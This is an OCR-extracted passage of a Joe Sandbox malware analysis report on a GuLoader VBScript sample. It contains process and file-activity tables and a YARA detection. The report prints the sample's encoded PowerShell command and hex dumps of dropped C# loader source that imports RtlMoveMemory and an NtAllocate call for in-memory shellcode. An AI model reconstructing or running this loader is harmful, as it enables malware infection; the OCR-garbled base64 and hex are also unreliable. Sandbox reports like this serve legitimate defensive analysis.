iptPolicyTest_5rdIx0Ocl.ffh.psm1

Copyright Joe Security LLC 2022

true

C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABMAGQAdABOAG8AbgAgAFMAJAB2AGA4AZQAg
AF0AaQBUAGMAZQBKACAASQBOAEQAUWBUAFQAIABNAGUAJABOAGEACYGBOAGEABQBNADCAIABTAGEADABhACAAYWBIAGIAYQBSACAA
RgBPAFIAUWBUACAATWBZAHQAZQBVAGWAaQBOADEAIABVAG4AZABpAHMAYWBVAHUANgAGAEEAZABYAGUACWBZAGEAIABDAGEAbgBh
AGQAaQA5ACAATWBWAEUAUgBUAEEATABFACAAQQYBIAGOAZQAJAGQAZQBzAHQACYB1AGSAJABPACAATWBTAFQARQBBAE4AAUgBFAFQA
TYAgAEQACYBPAGYAdABzZAHMAJABSAHIAMQAJAEKATgBEAEWARQBEAEUATGBEAEUAIABCAGEAZWBOADCAIABCAEEAUgBTAEWARQBE
AEUAUWAQAESBATWBQAEgGATWAJAEWAY QBJAGUAZAASACAADQAKAEEAZABKACOAVABSAHAAZQAGACOAVABSAHAAZQBEAGUAZGBPAGAA
aQBOAGKAbwBUACAAQAAIAAOACYB1AHMAaQBUAGCAIABTAHKACWBOAGUADQA7AAOACGB1AHMAaQBUAGCAIABTAHKACWBOAGUABQAUAFIAdQBUAH
QAaQBtAGUALYBIAGAAJABIAHIAbWBWAFMAZQBYAHYAaQBJAGUACWA7AAOACgBWAHUAY gBsAGKAYWAJAHMAJABhAHQAaQBJACAAYWBSAGEAcwWBZ
ACAASABIAHgAY QBzAHQAaQBJAGJAMQANAA0AeWANAAOAWWBEAGWADABJAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIAKQBAAHAAIQ
BIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHgAJABIAHIAbgAgAHY AbwBpAG QAIABSAHQABABNAG8BAdgBIAEOAZQBAGBACYBSACYJASQBUAHQA
UABOAHIAIABCAGEAZWBMAHUAbABZADUAMQASAHIAZQBMACAASQBUAHQAMWAYACAAQYBhAGCAZgB1AGWACWALADIALABpAGAAdAAY
AEIAYQBNAGYAdQBSAHMANQAZACKAOWANAACAWWBEAGWADABIAGOACABVAHIAJAAOACIAbgBOAGQABABSACAAZABSAGWAIGASACAARQBUAHQACY
B5AFAAbWBpPAG4AdAAIACIATgBOAEEADABSAGBAYWBhAHQAZQBWAGKACgBOAHUAY QBSAEOAZQBAG8ACB5ACIAKQBAAHAAIQBIAGWAaQBJACAA
cWBOAGEAdABPAGMAIABIAHgAdABIAHIAbgAgAGKAbgBOACAAVYBBACgAaQBUAHQAIABIAGUAeABhAHMAJABPAGMAaAA2ACWACGBIAGYAIABJAG
4AdAAZADIAIABTAGUADBQBPAHIAZQASAGKAbgBOACAAQYBhAGCAZgB1IAGWACWALACWACYBIAGYAIABIJAG4AdAAZADIAIABIAGUAeABhAHMAJABp
AGMAaAAsAGKAbgBOACAAUABYAGKAbgBOADgALABPAGAAdAAGAEJAZQBAAGEACWBOAGKAYWBOADCAKQA7AAOACYBAEQADABSAEKADQBWAGSACY
BOACgAIgBVAFMARQBSADMAMgAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGAAdABQAH
QACgAgAEUADbgB1AGOAVWBPAGAAZ ABVAHCACWAOAHUAaQBUAHQAIABCAGEAZWBMAHUAbABzZADUANQASAGKAbgBOACAAQYBhAGCAZY
B1AGWACWAIADYAKQA7AAOACYBIAADACJAIAEAADQAKACMARABFAEgGAQQBDAEJARQAJAFQAbWBZAHMAZQAZACAAVABIAGEAdABIAH
IANgAgAGQAaQBhAGWAZQBJAHQAaQBJACAARQBOAEWASQBTAFQARQBEAFIAIABGAGQACWBIADCAIABBAHMAJABYAGBAIABTAHCAZQBYAHYAZQBY
ADKAIABKAGBAdWBUAGUAeQAgAHIAaQBIAGgAdQBzAHQAIABUAGEAZWBYACAAUWBWAHIAZWBIAHMAIABWAGKAbABSAGEANQAgAEJAZQBOAGUACY
BVAGQAeQBUADEAIABFAFUAUABMAESASQAJAEIAeQBOAHQAZQAZACAACWBUAGSAZQBYAGYACJAJAEIAdQBUAGQAZWBhAHIAbgAgGAHMAJABYAGOA
awByAGUAZABzACAATABOAG4AaQBUAGCAYgBpADUAIABPAG4AZABZACAAQQBPAHIADABPAGYAJAALACAATWBDAFQAQQBWAEKATgBB
AFYASQAgAFMAawBVAGsAbwBtAGKACWBOAGIAIABVAGQACYBIAG4AcWBUAGKAbBgBNADUAIABUAGYACYBhAHCAYWB5ACAATQBVAGAAbWBZAGBAZA
BpADUAIABpAGOACABhAGWAZQBtAGUAIABIAGAAZABZAGEAdABzZAGUAbgBOADCAIABVAHIAZABIAG4ACWBIACAAIAANAACAJABIAGUAeABhAHMA
dABpAGMAaAAzADOAMAA7TAAOACYAKAEGAZQBAAGEACWBOAGKAYWBOADKAPQAXADAANAAAADUANWA2ADSADQAKACQASABIAHGAYQBz
AHQAaQBjAGgAOAAIAFSASABIAHGAY QBzAHQAaQBJAGJAMQBIADOAOgBWAEEAKAAIADEALABDAHIAZQBMAFOAJABIAGUAeABhAHMAJABPAGMAaA
AzZACWAMAASAFSACYBIAGYAXQAKAEgAZQB4AGEACWBOAGKAYWBOADKALAAXADIAMgA4ADgALAA2ADQAKQANAAOCAJABTAGUAbgBhAHQAZQBYAGYA
bwA9ACgARWBIAHQALQBJAHQAZQBtAFAACgBVAHAAZQBYAHQAeQAGACOAUABhAHQAAAAGACIASABLAEMAVQABAFWAUWBVAGYAdAB3AGEACYBIAF
WAVABJAESATABPAECAIGAPAC4AQQBJAGUAJABhAGOAaQBKAHAAAAAYAADACIANAACAIJABYAHQAaQBSACAAPQAgAFSAUWB5AHMAIABIAGOALGBC
AHKAJABIAFSAXQBAADOAOgBDAHIAZQBhAHQAZQBJIAG4ACWBOAGEAbgBJAGUAKABDAFMAeQBzAHQAZQBIAC4AQYB5AHQAZQBAACWAJABTAGUADY
BhAHQAZQBYAGYAbWAUAEWAZQBUAGCAJABOACAALWAGADIAKQANAAOADQAKAAOACIANAAOARYBVAHIAKAAKAGKAPQAWADSAIAAKAGKAIAAAGWA
dAAgACQAUWBIAG4AY QBOAGUACYBMAGBALGBMAGUAbgBNAHQAaAA7TACAAIABPACSAPQAYACKADQAKAAKAeWANAAOAIAAGACAAIAAGACAAIAAGAC
QAVQBOAGKAbABbACQAaQAVADIAXQAGADOAIABBAGMAbBWBUAHYAZQBYAHQAXQABADOAVABVAEIAeQBOAGUAKAAKAFMAZQBUAGEAJABIAHIAZgBY
AC4AUWB1AGIACWBOAHIAaQBUAGCAKAAKAGKALAAGADIAKQASACAAMQA2ACKADQAKACAAIAAGACAATQANAAOADQAKAAOACYBMAGBACYJACACQAYW
BVAG4AYWBVAGOAaQBOAGEAPQAWADSAIAAKAGMAbWBUAGMAbWBtAGKAJABhACAALQBSAHQAIAAKAFUAJABPAGWALGBJAGBAdQBUAHQAIAATACAA
JABJAG8AbgBJAGBABQBPAHQAY QArACSAKQANAA0AeWANAAOACQANAACAWWBIAGUAeABhAHMAJABPAGMAaAAXAFOAOJABAFIAJABSAEOADWB2AG
UATQBIAGOAbwBYAHKAKAAKAEGAZ QBAAGEACWBOAGKAYWBOADMAKWAKAGMAbWBUAGMAbWBtAGKAdABhACWAWWBYAGUAZgBJACQAVQ
BOAGKAbABbACQAYWBVAG4AYWBVAGOAaQBOAGEAXQASADEAKQANAACADQAKAHOADQAKAFSASABIAHGAY QBzAHQAaQBJAGgAMQBIAD
0AOgBFAG4AdQBtAFcAaQBUAGQAbWB3AHMAKAAKAEGAZQBAAGEACWBOAGKAYWBOADMALAAGADAAKQANAAOADQAKAAOACA=

0xd00000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000000C.00000002.782730251.0000000009DF0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

high

Access Attributes Options Completion Count Source Address Symbol
read data or list ~ device directory file | object name collision 1 6D77CF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6D77CF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read attributes |  device sequential only |  success or wait 1 6C6C1E60 CreateFileW
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read attributes |  device sequential only |  success or wait 1 6C6C1E60 CreateFileW

synchronize |
generic write

synchronous io
non alert | non
directory file |
open no recall
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\Documents\20220512 read data or list  device directory file | success or wait 1 6C6CBEFF CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\Documents\20220512\PowerShell_transcr read attributes |  device synchronous io  success or wait 1 6C6C1E60 CreateFileW
ipt.971342.hufJfx+G.20220512073643.txt synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\gcbgzoit read data or list  device directory file | success or wait 1 6B33FF3C CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.tmp  read attributes |  device synchronous io  success or wait 1 6C6C1E60 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.0.cs  read attributes |  device synchronous io  success or wait 1 6C6C1E60 CreateFileW
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.dll read attributes |  device synchronous io  success or wait 1 6C6C1EG0 CreateFileW
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6C6C1EG0 CreateFileW
mp\gchgzoit\qcbgzoit.cmdline synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\gcbgzoit\qchbgzoit.out  read attributes |  device synchronous io  success or wait 1 6C6C1EG0 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.err  read attributes |  device synchronous io  success or wait 1 6C6C1EG0 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

File Deleted

File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_2mnz4klw.uec.psl success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_5rdIxOcl.ffh.psm1 success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbgzoit\qchqgzoit.err success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbgzoit\qchgzoit.dll success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbgzoit\qchgzoit.tmp success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.cmdline success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbhgzoit\qcbgzoit.0.cs success or wait 1 6C6C6A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\gcbgzoit\qchbgzoit.out success or wait 1 6C6C6A95 DeleteFilew
File Written

File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Pa 0 1 68 h success or wait 1 6C6C1B4F WriteFile

ckages\Microsoft. Windows.Conte
ntDeliveryManager_cw5n1h2txyew
y\LocalState\ContentManagement
SDK\Creatives\314559\eventbeac

ons.dat.~tmp

C:\Users\user\AppData\Local\Te 0 1 31 1 success or wait 1 6C6C1B4F WriteFile
mp\__PSscr

iptPolicyTest_5rdIx0cl.ffh.psm1

unknown 0 3 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C6C1B4F WriteFile
unknown 3 4096 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C6C1B4F WriteFile
unknown 4099 708 75 6e 6b 6e 6f 77 6e unknown success or wait 5 6C6C1B4F WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\qcbgzoit\qcbhgzoit.0.cs

C:\Users\user\AppData\Local\Te
mp\gcbhgzoit\qcbgzoit.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

487

369

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
7562 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
73732048 65786173
74 69 63 68 31 0d Oa 7b
0d Oa 5b 44 6¢ 6¢ 49 6d
70 6f 72 74 28 22 4b 45
52 4e 454¢ 3332 22 29
5d 70 75 62 6¢ 69 63 20
7374 61 74 69 63 20 65
78 74 65 72 6e 20 76 6f
69 64 20 52 74 6¢ 4d 6f
76 65 4d 65 6d 6f 72 79
28 49 6e 74 50 74 72 20
42 61 67 66 75 6¢C 73 35
31 2¢ 72 65 66 20 49 6e
74 33 3220426167 66
75 6¢ 73 35 32 2¢ 69 6e
7420 42 61 67 66 75 6C
73 353329 3b 0d Oa 5b
44 6¢ 6¢ 49 6d 70 6f 72
74 28 22 6e 74 64 6¢ 6C
2e 64 6¢ 6¢ 22 2¢ 20 45
6e 74 72 79 50 6f 69 6e
74 3d 22 4e 74 41 6c 6¢
6f 63 61 74 65

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 73 65 72 73 5¢
68 61 72 64 7a 5¢ 41 70
70 44 61 74 61 5¢ 4c 6f
63 61 6¢ 5¢ 54 65 6d 70
5c 71 63 62 71 7a 6f 69
74 5c 71 63

Ascii Completion Count Source Address

using System;using success or wait 1 6C6C1B4F
System.Runt
ime.InteropServices;publi
c static class
Hexastich1{[Dllimpor
t("KERNEL32")]public
static extern void
RtIMoveMemory(IntPtr
Bagfuls51,ref Int32
Bagfuls52,int Bagfuls53);
[Dllimport("ntdIl.dll",

EntryPoint="NtAllocate

[t:library /utf8output success or wait 1 6C6C1B4F
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\gcbgzoit\qc

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te

mp\qcbgzoit\qcbgzoit.out

Offset

0

Length Value

455

ff 43 3a 5¢ 55 73 65 72
73 5¢ 68 61 72 64 7a 5¢
44 65 73 6b 74 6f 70 3e
20 22 43 3a 5¢ 57 69 6e
64 6f 77 73 5¢c 4d 69 63
72 6f 73 6f 66 74 2e 4e
45 54 5¢ 46 72 61 6d 65
77 6f 72 6b 5¢c 76 34 2e
30 2e 33 30 33 31 39 5¢
63 73 63 2e 65 78 65 22
20 2f 74 3a 6¢ 69 62 72
617279 20 2f 75 74 66
38 6f 75 74 70 75 74 20
2f523a2253797374
65 6d 2e 64 6¢ 6¢ 22 20
2f 52 3a 22 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢ 4d
69 63 72 6f 73 6f 66 74
2e 4e 6574 5c 61 7373
65 6d 62 6¢ 79 5¢ 47 41
43 5f 4d 53 49 4c 5c 53
79 73 74 65 6d 2e 4d 61
6e 61 67 65 6d 65 6e 74
2e 417574 6f 6d 61 74
69 6f 6e 5¢c 76 34 2e 30
5f 33 2e 30 2e 30 2e 30
5f 5f 33 31 62 66 33 38
35 36 61 64 33 36 34 65
33355¢ 5379737465
6d 2e 4d 61 6e 61 67 65
6d 65 6e 74 2e 417574
6f 6d 61 74 69

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
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Ascii Completion Count Source Address

C:\Users\user\Desktop>  success or wait 1 6C6C1B4F

"C:\Win

dows\Microsoft.NET\Fra

mework\v

4.0.30319\csc.exe"”

[t:library /utf8output

/R:"System.dll" /R

:"C:\Windows\Microsoft.N

et\ass

embly\GAC_MSIL\Syste

m.Manageme

nt.Automation\v4.0_3.0.0.

0_31

bf3856ad364e35\System.

Management.Automati
Length Completion Count Source Address
4095 success or wait 1 6D755705
8173 end of file 1 6D755705
4095 success or wait 1 6D755705
6135 success or wait 1 6D755705
176 success or wait 1 6D6B0O3DE
4095 success or wait 1 6D75CA54
8173 end of file 1 6D75CA54
4095 success or wait 1 6D75CA54
900 success or wait 1 6D6B0O3DE
620 success or wait 1 6D6B0O3DE
4095 success or wait 1 6D755705
8173 end of file 1 6D755705
4095 success or wait 1 6D755705
8173 end of file 1 6D755705
748 success or wait 1 6D6B0O3DE
748 success or wait 1 6D6B0O3DE
4095 success or wait 1 6D755705
8171 end of file 1 6D755705
64 success or wait 1 6D761F73
23120 success or wait 1 6D76203F
864 success or wait 1 6D6B0O3DE
4096 success or wait 1 6C6C1B4F
62 success or wait 1 6C6C1B4F
4096 success or wait 1 6C6C1B4F
4096 success or wait 1 6C6C1B4F

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.dll

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

637

4096

4096

128

4096

4096
4096

534

4096

Analysis Process: conhost.exe PID: 1436, Parent PID: 5576

General

Target ID: 13

Start time: 07:36:41

Start date: 12/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff7c9170000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

C, C++ or other language

high

Analysis Process: csc.exe PID: 6624, Parent PID: 5576

General

Target ID: 17

Start time: 07:37:06

Start date: 12/05/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

true

Completion

end of file

end of file

success or wait

end of file

end of file

success or wait

success or wait

end of file

end of file

Count Source Address

1

6C6C1B4F

6C6C1B4F

6C6C1B4F

6C6C1B4F

6C6C1B4F

6C6C1B4F
6C6C1B4F

6C6C1B4F

6C6C1B4F

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qchgzoit\qcbgzoit.cmdline

Imagebase: 0x900000

File size: 2170976 bytes

MDS5 hash: 350C52F71BDED7B99668585C15D70EEA
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

File Activities

File Created
File Path Access Attributes Options
c:\Users\user\AppData\Local\Te read attributes |  device synchronous io

mp\qcbgzoit\CSC5984C3E5F49B45B
5B1AD6CB2401B5385.TMP

.Net C# or VB.NET

moderate

synchronize |
generic write

non alert | non
directory file
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Completion

success or wait

Count Source Address

1

95E1E9

Symbol

CreateFilew
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File Deleted

File Path

C:\Users\user\AppData\Local\Temp\qchqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385. TMP

File Written

File Path

C:\Users\user\AppData\Local\Te
mp\gcbgzoit\CSC5984C3E5F49B45B

5B1AD6CB2401B5385.TMP

File Read

File Path

C:\Users\user\AppData\Local\Temp\gcbgzoit\qchbgzoit.cmdline

C:\Users\user\AppData\Local\Temp\gcbhgzoit\qcbgzoit.0.cs

Length Value

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 4c
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
00 01 00 53 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

Analysis Process: cvtres.exe PID: 6724, Parent PID: 6624

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

18
07:37:08
12/05/2022

unknown

Completion Count Source Address
success or wait 1 979793
Ascii Completion Count Source Address
L<OL4VS_VERSION_IN  success or wait 1 97967F
FO?DVarFile
Info$TranslationStringFile
Inf
Length Completion Count Source Address
369 success or wait 1 95E638
487 success or wait 1 95E638

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

Symbol

DeleteFilew

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
SCO09A.tmp" "c:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385. TMP"

0xaa0000

43176 bytes

C09985AE74F0882F208D75DE27770DFA

true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path
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Access

Length Value

Attributes

Options Completion Count Source Address

Ascii Completion Count Source Address

Symbol

Symbol
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File Path Offset Length Completion Count Source Address Symbol

Disassembly

@ No disassembly

Copyright Joe Security LLC 2022 Page 21 of 21



	Table of Contents
	Windows Analysis Report  Sursdep.vbs
	Overview
	General Information
	Detection
	Signatures
	Classification

	Process Tree
	Malware Configuration
	Threatname: GuLoader

	Yara Signatures
	Memory Dumps

	Sigma Signatures
	Snort Signatures
	Joe Sandbox Signatures
	AV Detection
	Networking
	System Summary
	Data Obfuscation
	HIPS / PFW / Operating System Protection Evasion

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	World Map of Contacted IPs

	General Information
	Warnings

	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASNs
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	C:\Users\user\AppData\Local\Temp\RESC09A.tmp
	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mnz4klw.uec.ps1
	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rdlx0cl.ffh.psm1
	C:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385.TMP
	C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.0.cs
	C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline
	C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.dll
	C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.out

	Static File Info
	General
	File Icon

	Network Behavior
	Statistics
	Behavior

	System Behavior
	Analysis Process: wscript.exePID: 6408, Parent PID: 3968
	General
	File Activities
	Registry Activities

	Analysis Process: powershell.exePID: 5576, Parent PID: 6408
	General
	File Activities

	Analysis Process: conhost.exePID: 1436, Parent PID: 5576
	General

	Analysis Process: csc.exePID: 6624, Parent PID: 5576
	General
	File Activities

	Analysis Process: cvtres.exePID: 6724, Parent PID: 6624
	General
	File Activities


	Disassembly


